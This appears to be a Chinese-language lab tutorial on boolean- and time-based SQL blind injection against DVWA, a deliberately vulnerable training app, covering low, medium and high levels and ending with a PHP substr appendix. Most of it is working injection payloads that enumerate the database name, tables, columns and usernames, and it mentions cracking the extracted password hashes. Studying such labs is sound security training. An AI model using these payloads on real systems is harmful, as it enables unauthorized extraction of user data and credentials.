盲注只回复是或否,Sql注入回复详细信息;
1、判断是否存在注入,注入时字符型还是数字型
2、猜解数据库的长度,猜解数据库的名称
3、猜解数据库中有几个表,猜解表的长度,猜解表的名称
4、猜解表中有几个字段、猜解字段长度,猜解字段名称
5、猜解数据
基于布尔型的盲注
基于时间的盲注
基于报错的盲注
手工盲注,因为服务器只会回答存在或者不存在,所以通过设定是否条件,逐步接近想要知道的答案(类似于猜价格)。因为手动注入过于繁琐,这里只是为了理解其原理,所有实验中大多都已知条件真假,是采用反证法来验证语法的正确,节约时间,完整的过程由程序来完成更加合适。
实验环境:
源码分析
未对参数进行任何检查、过滤,存在明显sql注入漏洞,返回结果只有种,user id exiets in the database;和user id is missing from the database
1、判断是否存在注入,注入时字符型还是数字型
证明存在字符型注入漏洞
2、猜解数据库的长度,猜解数据库的名称
1' and length(database())=1# //尝试数据库库名长度是否为1,当然这是只有一个库的情况
1不成功,接着尝试,直到返回已存在
证明整个库名长度为4
①猜解第1个字母
采用二分法的方式,逐步逼近,得到字符,substr函数用法参见九(附录)
1' and ascii(substr(database(),1,1))>97#
类似最终缩小范围,确定为100(d)
②猜解第2个字母
类似最终缩小范围,确定为118(v)
③猜解第3个字母
④猜解第4个字母
所以数据库名就是dvwa
3、猜解数据库中有几个表,猜解表的长度,猜解表的名称
①猜解表的个数
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
②猜解第一个表的表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
这里出现了limit,再举一个例子,方便理解limit
1' and length(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),2))=8#
③猜解表2的表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=5#
④猜解表1名称
先猜解第一个字母,依旧是二分法逼近,最后得到是g
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#
依次类推最后得到表1完整名称是guestbook,这个表并不是我们想要了解的,所以去看表2
⑤猜解表2名称
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#
依次猜解得到表2的名称是users,就搞他了
4、猜解表中有几个字段、猜解字段长度,猜解字段名称
1' and (select count(column_name) from information_schema.columns where table_name='users')=8#
猜解字段长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#
猜解字段名称(我需要知道数据库中这个users表的每一列的列名)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#
第二列的第一个字母只需修改limit 为1 1 1
5、猜解数据
上一步最后得到各列的列名,这里以user和password为例
①猜测第一个用户的用户名为admin,则第一个字母为a,测试
1' and ascii(substr((select user from users limit 0,1),1,1))=97#
第二个字母d
1' and ascii(substr((select user from users limit 0,1),2,1))=100#
第三个字母m
1' and ascii(substr((select user from users limit 0,1),3,1))=109#
②另一个例子:第二个用户的用户名Gordonb
第一个字母g
1' and ascii(substr((select user from users limit 1,1),1,1))=103#
第二个字母o
1' and ascii(substr((select user from users limit 1,1),2,1))=111#
③再举一个例子:第三个用户的用户名pablo
第一个字母p
1' and ascii(substr((select user from users limit 3,1),1,1))=112#
第二个字母a
1' and ascii(substr((select user from users limit 3,1),2,1))=97#
当然上面这些猜解都是在已知用户名密码的情况下,进行的逆向的验证,方便理解各参数的作用,在真实sql盲注时,我们需要依照此规律,进行循环的遍历。最终得到所有的用户名。
由于在该源码中,对于密码进行了hash,我们需要繁琐的遍历,依次得到所有账户对应的密码hash值,再对该hash值碰撞攻击(在网站中搜索该hash值对应的明文)
猜解步骤与基于布尔型的盲注基本相同,只是将判定条件换为sleep(5)是否执行
1、判断是否存在注入,注入时字符型还是数字型
不要去关注输出结果,这里如果时字符型注入,则浏览器会延时等待五秒钟,若不是,则会很快返回信息。这里等待了五秒,是字符注入
2、猜解数据库的长度,猜解数据库的名称
1' and if (length(database())=4,sleep(5),1)#
猜解数据库名:
1' and if (ascii(substr(database(),2,1))=118,sleep(5),1)#
//第二个字母是v
1' and if (ascii(substr(database(),3,1))=119,sleep(5),1)#
//第三个字母是w
1' and if (ascii(substr(database(),4,1))=97,sleep(5),1)#
//第四个字母是a
依次验证出数据库全名为dvwa
3、猜解数据库中有几个表,猜解表的长度,猜解表的名称
①dvwa库中表的个数
1' and if((select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2,sleep(5),1)#
②得到表的个数2后,猜解第一个表的表名长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1)#
③猜解第二个表的长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5,sleep(5),1)#
也可以这样写
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=4,sleep(5),1)#
④猜解表1表名
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)#
//这里解析出了字母g
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107,sleep(5),1)#
//这里解析出了字母k
依次解析出表1名称为guestbook
⑤猜解表2表名
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#
//这里猜解出字母u,验证成功
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=115,sleep(5),1)#
//这里猜解出字母s,验证成功
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),3))=101,sleep(5),1)#
//这里猜解出字母e,验证成功
依次猜解得到表名users
①猜解表中有几个字段(users表)
1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#
②猜解每个字段长度(以user_id为例)
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#
//验证得出user_id字段长度为7
③猜解字段名称(以user_id为例)
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)#
//这里猜解的是字母u
1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
//admin用户的a
1' and if(ascii(substr((select user from users limit 1,1),1,1))=103,sleep(5),1)#
// Gordonb用户的第一个字母g
1' and if(ascii(substr((select user from users limit 3,1),1,1))=112,sleep(5),1)#
/ pablo用户的第一个字母p
源码分析
利用mysql_real_escape_string函数对特殊符号进行转义,同时设置下拉菜单,控制用户输入,但是可以通过burpsuite抓包改包,存在数据型sql注入
余下操作与low级别类似,只是改包位置不同,结尾不用加#
同上,观察延迟
源码分析
使用limit限制,但是可以通过#将其注释,存在字符型注入漏洞
需要注意,high级别不适宜使用基于时间的盲注,因为服务器会随机指定延迟时间,容易引起误判。
余下操作与low级别一致。
查看源码
使用pdo技术,没得玩,同时返回的查询结果为1,才会输出
Substr用法:
实例:
$rest1 = substr("abcdef", 0, 0); // returns ""
$rest2 = substr("abcdef", 0, 2); // returns "ab"
$rest3 = substr("abcdef", 0, -1); // returns "abcde"
$rest4 = substr("abcdef", 2,0); // returns ""
$rest5 = substr("abcdef", 2,2); // returns "cd"
$rest6 = substr("abcdef", 2, -1); // returns "cde"
$rest7 = substr("abcdef", -2,0); // returns ""
$rest8 = substr("abcdef", -2,2); // returns "ef"
$rest9 = substr("abcdef", -2,-1); // returns "e"